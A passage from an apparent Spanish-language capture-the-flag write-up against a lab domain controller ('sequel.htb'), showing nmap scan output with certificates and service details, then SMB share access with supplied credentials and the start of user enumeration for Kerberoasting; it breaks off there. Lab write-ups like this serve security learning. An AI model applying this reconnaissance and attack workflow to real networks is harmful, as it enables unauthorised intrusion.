&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| SHA-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; a87b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9555&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5164&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;74d3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f73f&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bded&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;72e7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;baab&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;db76&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c12a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIF6TCCBNGgAwIBAgITVAAAAAVjf8S2XKAtZAAAAAAABTANBgkqhkiG9w0BAQsF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ADBGMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MRcwFQYDVQQDEw5zZXF1ZWwtREMwMS1DQTAgFw0yNTA2MjYxMTQ2NDVaGA8yMTI0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MDYwODE3MDA0MFowADCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN6t
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| PbrDaBr7iaqtpFrlC5txEmOlllkSRMtLsld7ZgwcBdmU4UU31oiAciONnCqnuXEg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| EsrgGO3Nufzbu66sgkMqtTd0MyiYb5+wVTqL5FxRXJCyyLnmjdoKdemZ9uqpwVRw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| RXR502G1YGNVtPFffxbU9vvcIe1SaIUvL9QXVkzJuze8a7mlQ964CPER4T9v3Q96
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3RK8DHm64/EqR1hPMKAuIfHftAX5a67ARnVwBiXn3dItESQJoLliq+hsoXvcDxfA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| iBP0uOgLrKyZrKMNFOsPpFe4GwGxrNmVeigHRF9/IPzXmDJZC1C+ieIBL3J1tzOD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 0RrwhK5LRVOijIkBsnECAwEAAaOCAxIwggMOMDcGCSsGAQQBgjcVBwQqMCgGICsG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| AQQBgjcVCIOFgESHvJM3hdGJJcLeUoTxqjiBKQEhAgFuAgECMDIGA1UdJQQrMCkG
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| CCsGAQUFBwMCBggrBgEFBQcDAQYKKwYBBAGCNxQCAgYHKwYBBQIDBTAOBgNVHQ8B
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Af8EBAMCBaAwQAYJKwYBBAGCNxUKBDMwMTAKBggrBgEFBQcDAjAKBggrBgEFBQcD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ATAMBgorBgEEAYI3FAICMAkGBysGAQUCAwUwHQYDVR0OBBYEFD3FI2lBcJiy3qh6
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| t0wOZkt5ZV4EMB8GA1UdIwQYMBaAFMZBubbkDkfWBlps8YrGlP0a+7jDMIHIBgNV
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| HR8EgcAwgb0wgbqggbeggbSGgbFsZGFwOi8vL0NOPXNlcXVlbC1EQzAxLUNBLENO
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| PURDMDEsQ049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Y2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jZXJ0aWZpY2F0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| UG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGvMIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8v
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Q049c2VxdWVsLURDMDEtQ0EsQ049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Y2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Yj9jQUNlcnRpZmljYXRlP2Jhc2U/b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dGhvcml0eTAxBgNVHREBAf8EJzAlgg9EQzAxLnNlcXVlbC5odGKCCnNlcXVlbC5o
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| dGKCBlNFUVVFTDBNBgkrBgEEAYI3GQIEQDA+oDwGCisGAQQBgjcZAgGgLgQsUy0x
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| LTUtMjEtNTQ4NjcwMzk3LTk3MjY4NzQ4NC0zNDk2MzM1MzcwLTEwMDAwDQYJKoZI
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| hvcNAQELBQADggEBAILdYpMzCMJ2jrzMqFcZs5zRq1lDJA7Q1W9cZXZpZktTkXdA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| cEkRlcLQN9ZxvydKHdR053nIGNXcVn7CHpK8OU6sleyY0RRm/hktREv53L3tt0i7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Dks9d14cTKN5+r1aQmeCJo7bRdeeiQcMKDyyKndI4Tn03XWjYS0yOem+2PrrANgs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 2YWLg6LrslYnHB0xMFup6da7ueNpuRxwekBen20P6v6R3STGascvNVqBNBpNTMRo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| CpokbunsA+8Bqqt3IWX5/Og2wCBL2v/dPiyjSQ3WYOwguyjDF8gQdVMIsW25vUMc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 3UVUm1yCwc7rr5IEQAkXdTHzbNIHACbCvOotXZM=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T11&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; -4s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;/tcp open ms-sql-s syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft SQL Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15.00&lt;/span&gt;.2000.&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; RTM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssl-date: &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T11&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;+&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;00&lt;/span&gt;; -4s from scanner time.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ms-sql-info:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.&lt;span style="color:#ae81ff"&gt;156&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Microsoft SQL Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt; RTM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| number&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15.00&lt;/span&gt;.2000.00
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Product&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Microsoft SQL Server &lt;span style="color:#ae81ff"&gt;2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Service pack level&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; RTM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Post-SP patches applied&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; false
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ TCP port&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ms-sql-ntlm-info:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.69.&lt;span style="color:#ae81ff"&gt;156&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1433&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Target_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Domain_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; SEQUEL
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| NetBIOS_Computer_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC01
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Domain_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Computer_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC01.sequel.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| DNS_Tree_Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Product_Version&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.0&lt;/span&gt;.17763
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssl-cert&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Subject&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=SSL_Self_Signed_Fallback
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Issuer&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; commonName=SSL_Self_Signed_Fallback
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key type&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; rsa
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Public Key bits&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Signature Algorithm&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sha256WithRSAEncryption
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid before&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T10&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| Not valid after&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2056&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;01&lt;/span&gt;-11T10&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 80d9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a446&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;754f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;deb1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d297&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c17c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fa92&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c9d0
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| SHA-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 2f7a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4ab9&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c724&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0b71&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6177&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1046&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;04bf&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;9ec0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;538d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;0af4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| -----BEGIN CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MIIDADCCAeigAwIBAgIQIP8Of/2gFJNJo0+BxnvIxjANBgkqhkiG9w0BAQsFADA7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| bABsAGIAYQBjAGswIBcNMjYwMTExMTA1ODM4WhgPMjA1NjAxMTExMDU4MzhaMDsx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| AGwAYgBhAGMAazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALZLb9hM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| xXtQAfV/+O9Ij84F5+CiTZxLMYVHDP62+ZvJGhG7sNDVlH9b0XZQg7Q5n4Uu7bdb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| BEXqOrlY1eUQpx3adXIxEW904rvK9bnSfsptFOa/Qg7RtFrQOx9rV4A7RZMP1SMH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| H/6EFyeB8VShZjzGnHoACxQpIK9HGNHg/HqQ8+O9huiBJgA6P8xgFjP//B77YMS2
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| pxv/XAZZHP8Ju9+SpOpCfBb4m8pugIatRJM2No9JUogVXvip90E/rGJY24cLu+Pi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 7MG99eBJoEcAOPNGBokNu85sNIBla3ibY1ebpWEfpGCyTL0BitFuwadHnotOhVIH
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| H6fVTr3nhmqWV60CAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAinsUDlNe2rk07NMn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;+zTpKHtE4TqyVAuGCBDrMKU7IOrqG4jGFDZInzk+XLOk44RLqFsegEhGfLRYCvi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| mTs8woPKwvWGNMmeejvcv4MLPiWwXB2XxRCez5Th6opGkjdQ0ST5rmmccpO6F6st
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| hpmfIK7YX5s2X0MqarSZ9NL3UKVvsVPhYhsBRuqH0W+eodTo9mzIsvnKVz9/dD5M
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| 8KgyW2QPJ1Lso8Vm4pCJNmLt4fWD/6niODCpbV1f+JcGat/r3W9w/7O9Gc2zlwU+
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| l6By9y3WYwluHPP3y6t2fKV/lWzUa1InhxO7OkuY9kSBhVVtnJd8BZ6v5gsx2XgX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| MfYJIQ==
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_-----END CERTIFICATE-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open ssl/ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP (Domain&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; sequel.htb0., Site&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Default-First-Site-Name)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;47001&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt; (SSDP/UPnP)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Microsoft-HTTPAPI/&lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49665&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49666&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49667&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49689&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49695&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49712&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49728&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;49736&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC01; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:microsoft&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;windows
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="smb-con-credenciales-dadas"&gt;SMB (con credenciales dadas)&lt;/h3&gt;
&lt;p&gt;Accedí a SMB usando las credenciales proporcionadas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8020-8535-ce56fa33fb79.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Dentro vi dos directorios interesantes: &lt;strong&gt;Accounting Department&lt;/strong&gt; y &lt;strong&gt;Users&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Me descargué todos los archivos de esos directorios para analizarlos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80f9-b783-d799fc35739a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En un primer vistazo no parecía haber nada útil.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-80d9-b0e7-e3c00b7ed042.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tampoco encontré nada interesante en MSSQL con ese primer enfoque.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/319888fa-f353-8087-9271-f27ba4d06465.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-de-usuarios-y-kerberoasting"&gt;Enumeración de usuarios y Kerberoasting&lt;/h3&gt;
&lt;p&gt;Enumeré usuarios por SMB:&lt;/p&gt;
